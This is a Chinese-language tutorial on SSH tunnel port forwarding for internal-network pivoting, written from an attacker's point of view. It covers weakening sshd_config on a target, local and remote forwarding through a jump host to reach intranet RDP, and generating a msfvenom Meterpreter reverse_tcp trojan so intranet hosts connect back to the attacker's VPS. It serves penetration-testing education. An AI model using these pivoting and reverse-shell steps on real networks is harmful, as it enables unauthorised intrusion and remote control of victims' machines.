SSH隧道端口转发详解

简介: 需要在目标主机修改如下配置文件内容

一、SSH配置文件设置

需要在目标主机修改如下配置文件内容:

Vi /etc/ssh/sshd_config   #SSH配置文件
AllowTcpForwarding yes     #是否允许转发TCP协议
GatewayPorts yes   #是否允许远程主机连接本地转发端口
PermitRootLogin yes    #是否允许root登录
PasswordAuthentication yes    #是否允许使用基于密码的认证
TCPKeepAlive yes    #保持心跳,防止 ssh 断开


二、SSH端口转发参数详解

-C   #压缩传输,加快传输速度
-f    #将SSH转入后台执行,不占用当前的shell
-N   #建立静默连接(建立了连接,但是看不到具体会话)
-g   #允许远程主机连接到本地用于转发的端口
-L   #本地端口转发
-R   #远程端口转发
-D  #动态转发(socks代理)
-P  #指定SSH端口









三、具体转发方式

①本地端口转发(将攻击者vps的某个端口转发到目标指定机器的指定端口)

场景:只能访问B主机,B作为跳板,将内网C主机端口带出来

在vps上执行:


ssh -L vps本地端口:C主机ip:C端口 B用户名@ip

实例:


ssh -CfNg –L 2121:192.168.1.109:3389 root@192.168.1.2


此时连接vps本地2121端口就相当于连接到内网C主机的3389端口




②远程端口转发(将目标主机的某个端口转发到攻击者vps的指定端口)

场景:无法访问B主机,但是B主机可以出网,通过B为跳板,将内网C主机端口带出来

在B跳板上执行:


ssh -R vps端口:C主机ip:C端口 vps用户名@ip


实例:


ssh -CfNg -R 1080:192.168.1.109:3389 root@192.168.1.106


此时连接vps本地1080端口就相当于连接到内网C主机的3389端口

-


四、如何通过跳板机让内网主机上线?

①通过本地端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


C主机执行:


ssh -CfNg -L 本地端口:vps的ip:vps端口 B用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


msfvenom -p windows/meterpreter/reverse_tcp lhost=C主机ip lport=C主机端口 -f exe > ssh.exe


然后vps开启MSF监听(vps本地端口和ip即可):


内网中的主机执行payload就能成功上线:

流量走向:C主机6666端口-->B跳板-->vps的6666端口



②通过远程端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


B跳板执行:


ssh –CfNg -R C主机端口:vps的ip:vps的端口 C主机用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


然后vps开启MSF监听(vps本地端口和ip即可):


执行payload就能成功上线

流量走向:C主机7777端口-->B跳板-->vps的4444端口


文章只是模拟部分场景,总体来说SSH隧道还是挺稳定的,实际场景还需根据实际情况进行思路拓展,文章如有错误,欢迎一起交流

目录
相关文章
|
Java 数据库连接 网络安全
JDBC常用特性-SSH隧道连接
JDBC常用特性-SSH隧道连接
|
网络协议 安全 Linux
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
543 0
|
安全 Linux 网络安全
|
Ubuntu 网络安全 数据安全/隐私保护
使用SSH隧道将Ubuntu云服务器Jupyter Notebook端口映射到本地
这样,你就成功地将Ubuntu云服务器上的Jupyter Notebook端口映射到本地,使你能够通过本地浏览器访问并使用Jupyter Notebook。
1433 1
|
域名解析 网络协议 安全
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
2262 0
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
|
安全 关系型数据库 MySQL
Mysql SSH隧道连接使用方法
Mysql SSH隧道连接使用方法
2371 0
|
网络协议 网络安全 数据安全/隐私保护
三种不同类型的ssh隧道
想通过ssh隧道连接远端机器的VNC服务,对ssh -L命令不太熟悉,man ssh后发现3组与隧道(turnnel)相关的参数:ssh -D,ssh -L,ssh -R,一下子就搞糊涂了,所有下决心仔细研究一番。 何谓SSH隧道 隧道是一种把一种网络协议封装进另外一种网络协议进行传输的技术。这里我们研究ssh隧道,所以所有的网络通讯都是加密的。又被称作端口转发,因为ssh隧道通常会绑定一个本地端口,所有发向这个端口端口的数据包,都会被加密并透明地传输到远端系统。 SSH隧道的类型 ssh隧道有3种类型: 动态端口转发(Socks 代理) 本地端口转发 远端端口转发 动态端口转发
1076 0
|
Web App开发 Shell 网络安全
基于SSH隧道+chrome插件SwitchyOmega访问内网机器
背景:客户的服务在线下IDC,访问服务器通过VPN连接到IDC,但VPN连接后只放行了特性端口比如80,服务器部署了grafana系统之后不想与现有的80共用一个端口。比如grafana应用监听除80之外的3000端口,在不通过客户邮件申请其他端口的情况下,是否有其他办法呢?本文基于SH隧道+chrome插件SwitchyOmega访问IDC的3000端口画了架构图便于理解,如下图所示正常访问路线A,但由于防火墙的限制无法访问除允许的端口,所以我们想通过阿里云的服务器做ssh隧道(阿里云与IDC机器通过专线连接,端口未做限制),也就是图中的线路B。
8867 0
|
安全 网络安全 数据库
PostgreSQL 10.1 手册_部分 III. 服务器管理_第 18 章 服务器设置和操作_18.10. 使用SSH隧道的安全 TCP/IP 连接
18.10. 使用SSH隧道的安全 TCP/IP 连接 可以使用SSH来加密客户端和PostgreSQL服务器之间的网络连接。如果处理得当,这将提供一个足够安全的网络连接,即使是对那些无 SSL 能力的客户端。
1480 0
|
网络协议 Linux 网络安全
【转】Linux下的SSH端口转发
文章转自:http://www.dbabeta.com/2010/linux-port-forward-with-ssh.html 通常情况下两个不同的网络之间总会开放某一些特定的端口用于通讯使用,而SSH所使用的22端口通常就在开放之列。
1214 0